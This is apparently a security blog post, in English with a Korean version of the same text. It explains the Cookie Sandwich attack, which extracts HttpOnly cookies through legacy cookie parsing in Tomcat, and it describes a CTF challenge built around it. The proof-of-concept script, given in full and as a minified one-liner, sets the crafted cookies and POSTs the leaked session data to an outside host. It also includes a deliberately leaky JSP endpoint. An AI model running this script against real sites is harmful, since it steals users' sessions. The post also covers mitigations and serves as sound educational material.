Cookie Sandwich Attack: Is HttpOnly Really Safe?

Cookie Sandwich Attack: Is HttpOnly Really Safe?

in

Overview

The Cookie Sandwich Attack is a technique that exploits the differences between the RFC6265 (modern) and RFC2109 (legacy) cookie parsing specifications to extract HttpOnly cookies that would normally be inaccessible to client-side JavaScript.

This vulnerability arises in web servers that support both modern and legacy cookie parsing methods, especially when:

  1. The server defaults to legacy parsing, or
  2. The server switches to legacy parsing when it detects the $Version keyword

The key issue is that these two parsing methods handle quotation marks (") differently, which attackers can abuse to “sandwich” an HttpOnly cookie between crafted malicious cookies.

Technical Background

To understand the vulnerability, let’s first examine the relevant RFC standards:

RFC2109 (Legacy Cookie Spec, 1997)

  • First defined cookie structure and transmission methods
  • Implemented quotation mark handling where quoted values are treated as a single string
  • Had many implementation and compatibility issues

RFC2965 (Updated Legacy Spec, 2000)

  • Complemented RFC2109 by adding metadata attributes (Version, Port, CommentURL)
  • Not widely adopted as browsers moved toward RFC6265

RFC6265 (Modern Cookie Spec, 2011)

  • The de facto standard used by modern web browsers and servers
  • Cookie name-value pairs are strictly separated by semicolons
  • Quotation marks are treated as part of the value, with no special handling

The Vulnerability

Servers like Tomcat that aim to maintain backward compatibility implement support for both parsing modes. They typically switch to RFC2109/2965 (legacy) parsing when the $Version parameter is detected in the cookie request header, otherwise defaulting to RFC6265 (modern) parsing.

This compatibility choice opens the door to the Cookie Sandwich Attack. Here’s how it works:

Example Scenario

Imagine a web application where an attacker has gained script execution capabilities (via XSS), but the session cookie (JSESSIONID) is protected with the HttpOnly flag:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E

With normal JavaScript, the attacker cannot access this cookie due to the HttpOnly protection. However, using the Cookie Sandwich technique, they can execute code like:

document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;

The modern parser (RFC6265) would interpret these as three separate cookies:

JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"

However, the legacy parser (RFC2109) would interpret this quite differently:

param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"

Notice how the JSESSIONID cookie is now “sandwiched” between param1 and param2, creating a situation where its value becomes accessible to the attacker.

For this attack to work effectively, cookie order is key. The $Version=1 cookie needs to be processed first to trigger legacy parsing mode. Since cookies are generally processed in the order they were created, attackers need to control this sequence.

Cookie Ordering

This is where the path attribute of cookies becomes important. Browsers sort cookies based on path specificity, which allows attackers to manipulate the order. By setting specific paths for different cookies, attackers can ensure their cookies are processed in the correct sequence to exploit the vulnerability.

Practical Demonstration

Here’s a practical example showing how the attack works:

Initially, we have a normal HttpOnly cookie (JSESSIONID):

Initial State with HttpOnly Cookie

When we execute the JavaScript to create the cookie sandwich:

document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';

And refresh the page, the server-side parsing (using legacy mode) sees the cookies combined as a single value:

After Cookie Sandwich Attack

If we were to refresh the page without carefully crafting our attack, the JSESSIONID would be regenerated and might appear in a different order, breaking our sandwich:

Incorrect Cookie Order

Similarly, if we don’t set the path attribute correctly on the $Version cookie, the attack fails:

Failed Attack Due to Incorrect Path

Framework-Specific Variations

Different frameworks require slightly different payload formats to successfully exploit this vulnerability:

Flask:  {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
PHP:    {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby:   {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}

Practical Exploitation

A real-world exploitation would typically involve:

  1. Identifying a server that uses legacy cookie parsing or can be switched to it
  2. Executing JavaScript (through XSS or other means) to create the cookie sandwich
  3. Making a request to a specific endpoint that returns cookie data
  4. Extracting the HttpOnly cookie from the response

Creating a Wargame Challenge

I created a Cookie Sandwich wargame challenge to demonstrate this vulnerability. Creating a proper CTF challenge was more complex than I initially anticipated and took an entire day to complete.

The challenge implements a simplified version of the scenario described in the reference materials. Since I needed an admin bot to test the vulnerability, I had to consider the best approach. Directly porting Chromium into the JSP environment proved technically challenging, so I opted for a different approach. I created separate containers and implemented the admin functionality through Docker networking.

Configuring the correct chromedriver version was particularly tricky, so I used an existing image by tonyp7 to simplify the implementation:

version: '3.8'

services:
  tomcat:
    build: 
      context: ./tomcat
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    volumes:
      - ./tomcat/app:/usr/local/tomcat/webapps/ROOT
    environment:
      - CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false 
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    networks:
      - internal 

  bot:
    image: tonyp7/flask-selenium-chromedriver-alpine:latest
    shm_size: '2gb'
    build: 
      context: ./bot
      dockerfile: Dockerfile
    depends_on:
      - tomcat
    networks:
      - internal
    ports:
      - "8000:8000"
    environment:
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - GUNICORN_CMD_ARGS=--workers=1 --timeout=120
    deploy:
      resources:
        limits:
          memory: 1G

networks:
  internal:
    driver: bridge

The core of the challenge is in the json.jsp file. When a client sends a request, the server returns cookie data but specifically excludes the JSESSIONID cookie. Since the JSESSIONID cookie in Tomcat is set as HttpOnly by default, it becomes a perfect target for the Cookie Sandwich attack:

<%@ page contentType="application/json;charset=UTF-8" %>
<%
    String leaked = "";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if (!"JSESSIONID".equals(c.getName())) {
                leaked = c.getValue();
                break;
            }
        }
    }
    leaked = leaked.replace("\"","\\\"");
    out.print("{\"session\":\"" + leaked + "\"}");
%>

The proof of concept for solving this challenge is as follows:

<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';

fetch('/json.jsp', {
  credentials: 'include'
})
  .then(r => r.json())
  .then(data => {
    return fetch('http://fooo1.com:5555/', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

A minified one-line version is also available for situations where character space is limited:

<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>

When executed successfully, the attacker can capture the HttpOnly cookie value:

Successful Attack Result

Mitigation

To protect against Cookie Sandwich attacks:

  1. Disable legacy cookie parsing modes when not absolutely necessary
  2. Apply strict parsing rules that don’t interpret quoted strings across semicolons
  3. Implement stronger cookie isolation mechanisms
  4. Use modern security headers like SameSite=strict to limit cross-site cookie transmission
  5. Consider alternatives to cookie-based authentication for sensitive functions

Conclusion

The Cookie Sandwich Attack demonstrates how seemingly minor differences in parsing specifications can lead to significant security vulnerabilities. It highlights the importance of understanding how different standards interact, especially when backward compatibility is maintained.

Web application developers and security professionals should be aware of this technique and implement appropriate safeguards, particularly for applications that might be using older server technology that supports legacy cookie parsing modes.

References

개요

HttpOnly 플래그가 붙은 쿠키는 자바스크립트로 못 읽으니 안전하다고들 하죠. 그런데 정말 그럴까요? Cookie Sandwich Attack은 RFC6265(현대)와 RFC2109(레거시) 쿠키 파싱 명세의 차이를 파고들어, 원래라면 클라이언트 측 자바스크립트가 절대 손댈 수 없는 HttpOnly 쿠키를 빼내는 기법입니다.

이 취약점은 현대식과 레거시 쿠키 파싱을 모두 지원하는 웹 서버에서 고개를 드는데요. 특히 이런 경우입니다.

  1. 서버가 기본적으로 레거시 파싱을 쓰거나,
  2. 서버가 $Version 키워드를 만나면 레거시 파싱으로 갈아타는 경우

핵심은 이 두 파싱 방식이 큰따옴표(")를 서로 다르게 다룬다는 점입니다. 공격자는 이 틈을 노려, 자기가 심은 악성 쿠키 사이에 HttpOnly 쿠키를 “샌드위치”처럼 끼워 넣는 거죠.

기술적 배경

취약점을 제대로 이해하려면 먼저 관련 RFC 표준부터 짚고 가는 게 좋습니다.

RFC2109 (레거시 쿠키 명세, 1997)

  • 쿠키 구조와 전송 방식을 처음 정의
  • 따옴표로 감싼 값을 하나의 문자열로 취급하는 따옴표 처리 방식을 구현
  • 구현, 호환성 문제가 많았음

RFC2965 (개정 레거시 명세, 2000)

  • 메타데이터 속성(Version, Port, CommentURL)을 추가해 RFC2109를 보완
  • 브라우저들이 RFC6265로 이동하면서 널리 채택되지는 않음

RFC6265 (현대 쿠키 명세, 2011)

  • 현대 웹 브라우저, 서버가 사용하는 사실상의 표준
  • 쿠키 이름-값 쌍은 세미콜론으로 엄격히 구분됨
  • 따옴표는 값의 일부로 취급되며 특별한 처리를 하지 않음

취약점

Tomcat처럼 하위 호환성을 챙기려는 서버는 두 파싱 모드를 모두 지원하도록 만들어져 있습니다. 보통 쿠키 요청 헤더에서 $Version 파라미터가 보이면 RFC2109/2965(레거시) 파싱으로 전환하고, 그렇지 않으면 RFC6265(현대) 파싱을 기본으로 쓰는데요.

바로 이 “호환성 배려”가 Cookie Sandwich Attack의 문을 활짝 열어 줍니다. 어떻게 동작하는지 볼까요?

예시 시나리오

공격자가 (XSS로) 스크립트 실행 능력은 손에 넣었지만, 정작 세션 쿠키(JSESSIONID)는 HttpOnly 플래그로 꽁꽁 보호되고 있는 웹 애플리케이션을 상상해 봅시다.

JSESSIONID=7A2A684D2F275078A98610E415E89D5E

평범한 자바스크립트로는 HttpOnly 보호에 막혀 이 쿠키를 건드릴 수 없습니다. 그런데 Cookie Sandwich 기법을 쓰면 이야기가 달라지는데요. 다음 같은 코드를 실행해 봅니다.

document.cookie = `$Version=1; path=/json;`;
document.cookie = `param1="start; path=/json;`;
document.cookie = `param2=end"; path=/;`;

현대식 파서(RFC6265)는 이걸 세 개의 별개 쿠키로 해석합니다.

JSESSIONID=7A2A684D2F275078A98610E415E89D5E
$Version=1
param1="start
param2=end"

하지만 레거시 파서(RFC2109)는 이걸 사뭇 다르게 읽습니다.

param1="start;JSESSIONID=7A2A684D2F275078A98610E415E89D5E;param2=end"

보이시나요? JSESSIONID 쿠키가 param1과 param2 사이에 딱 “샌드위치”되면서, 그 값이 공격자 손에 잡히는 상황이 만들어졌습니다.

쿠키 순서 트릭

이 공격이 제대로 먹히려면 쿠키 순서가 정말 중요합니다. 레거시 파싱 모드를 켜려면 $Version=1 쿠키가 맨 먼저 처리돼야 하거든요. 쿠키는 보통 생성된 순서대로 처리되니, 공격자는 이 순서를 손아귀에 넣어야 합니다.

Cookie Ordering

바로 이 지점에서 쿠키의 path 속성이 열쇠가 됩니다. 브라우저는 path의 구체성(specificity)에 따라 쿠키를 정렬하는데, 이 규칙을 역이용하면 공격자가 순서를 마음대로 주무를 수 있거든요. 쿠키마다 path를 잘 지정해 두면, 취약점을 터뜨리기 좋은 순서로 자기 쿠키가 처리되도록 유도할 수 있는 겁니다.

실전 시연

말보다 실제로 보는 게 빠르겠죠. 공격이 어떻게 돌아가는지 직접 보여드리겠습니다.

처음에는 평범한 HttpOnly 쿠키(JSESSIONID)만 있습니다.

Initial State with HttpOnly Cookie

여기에 쿠키 샌드위치를 만드는 자바스크립트를 실행하고,

document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';

페이지를 새로고침하면, 서버 측 파싱(레거시 모드)이 쿠키들을 하나의 값으로 묶어서 인식하는 걸 볼 수 있습니다.

After Cookie Sandwich Attack

반대로 공격을 대충 구성한 채 새로고침하면, JSESSIONID가 재생성되면서 순서가 뒤바뀌어 샌드위치가 그냥 풀려 버리기도 합니다.

Incorrect Cookie Order

마찬가지로 $Version 쿠키의 path 속성을 제대로 안 잡아 주면 공격은 그대로 실패합니다.

Failed Attack Due to Incorrect Path

프레임워크별 변형

이 취약점을 확실히 터뜨리려면 프레임워크마다 페이로드 형식을 조금씩 손봐 줘야 합니다.

Flask:  {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
PHP:    {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby:   {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}

실전 공격

실제 환경에서의 공격은 보통 이런 흐름으로 이어집니다.

  1. 레거시 쿠키 파싱을 쓰거나, 그 모드로 전환할 수 있는 서버를 찾는다
  2. (XSS 등으로) 자바스크립트를 실행해 쿠키 샌드위치를 만든다
  3. 쿠키 데이터를 돌려주는 특정 엔드포인트로 요청을 보낸다
  4. 응답에서 HttpOnly 쿠키를 빼낸다

워게임 문제 제작

이 취약점을 직접 보여주려고 Cookie Sandwich 워게임 문제를 만들어 봤는데요. 제대로 된 CTF 문제를 만드는 일은 생각보다 손이 많이 가서, 완성하는 데 꼬박 하루가 걸렸습니다.

이 문제는 참고 자료에서 설명한 시나리오를 단순하게 줄여 구현한 겁니다. 취약점을 테스트하려면 admin bot이 필요했는데, 어떻게 붙일지 한참 고민했죠. Chromium을 JSP 환경에 직접 포팅하는 건 기술적으로 까다로워서, 결국 다른 길을 택했습니다. 별도의 컨테이너를 두고 Docker 네트워킹으로 admin 기능을 굴린 거예요.

특히 chromedriver 버전을 맞추는 게 골칫거리였던 탓에, 구현을 단순화하려고 tonyp7의 기존 이미지를 가져다 썼습니다.

version: '3.8'

services:
  tomcat:
    build: 
      context: ./tomcat
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    volumes:
      - ./tomcat/app:/usr/local/tomcat/webapps/ROOT
    environment:
      - CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false 
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    networks:
      - internal 

  bot:
    image: tonyp7/flask-selenium-chromedriver-alpine:latest
    shm_size: '2gb'
    build: 
      context: ./bot
      dockerfile: Dockerfile
    depends_on:
      - tomcat
    networks:
      - internal
    ports:
      - "8000:8000"
    environment:
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - GUNICORN_CMD_ARGS=--workers=1 --timeout=120
    deploy:
      resources:
        limits:
          memory: 1G

networks:
  internal:
    driver: bridge

문제의 핵심은 json.jsp 파일에 있습니다. 클라이언트가 요청을 보내면 서버는 쿠키 데이터를 돌려주되, JSESSIONID 쿠키만은 일부러 쏙 빼놓죠. Tomcat의 JSESSIONID는 기본적으로 HttpOnly로 설정되니, Cookie Sandwich 공격의 딱 좋은 표적이 되는 겁니다.

<%@ page contentType="application/json;charset=UTF-8" %>
<%
    String leaked = "";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if (!"JSESSIONID".equals(c.getName())) {
                leaked = c.getValue();
                break;
            }
        }
    }
    leaked = leaked.replace("\"","\\\"");
    out.print("{\"session\":\"" + leaked + "\"}");
%>

이 문제를 푸는 개념 증명(PoC)은 이렇습니다.

<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';

fetch('/json.jsp', {
  credentials: 'include'
})
  .then(r => r.json())
  .then(data => {
    return fetch('http://fooo1.com:5555/', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

문자 수가 제한된 상황을 위해 한 줄로 압축한 버전도 준비했다:

<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>

이렇게 잘 맞아떨어지면, 공격자는 HttpOnly 쿠키 값을 그대로 손에 넣게 됩니다.

Successful Attack Result

완화 방안

그럼 Cookie Sandwich 공격은 어떻게 막을까요?

  1. 꼭 필요한 게 아니라면 레거시 쿠키 파싱 모드를 꺼 둔다
  2. 세미콜론을 넘어 따옴표 문자열을 해석하지 않는 엄격한 파싱 규칙을 적용한다
  3. 더 강력한 쿠키 격리 메커니즘을 갖춘다
  4. SameSite=strict 같은 현대적 보안 헤더로 교차 사이트 쿠키 전송을 제한한다
  5. 민감한 기능이라면 쿠키 기반 인증의 대안도 고려한다

마치며

Cookie Sandwich Attack은 파싱 명세의 사소해 보이는 차이 하나가 어떻게 중대한 취약점으로 번질 수 있는지를 아주 잘 보여줍니다. 특히 하위 호환성을 챙길 때, 서로 다른 표준이 어떻게 맞물려 돌아가는지 이해하는 게 얼마나 중요한지 새삼 느끼게 되죠.

웹 개발자와 보안 담당자라면 이 기법을 알아 두고 적절한 방어를 마련해 두는 게 좋습니다. 특히 레거시 쿠키 파싱 모드를 지원하는 구형 서버 기술을 쓸 법한 애플리케이션이라면 더더욱요.

참고 자료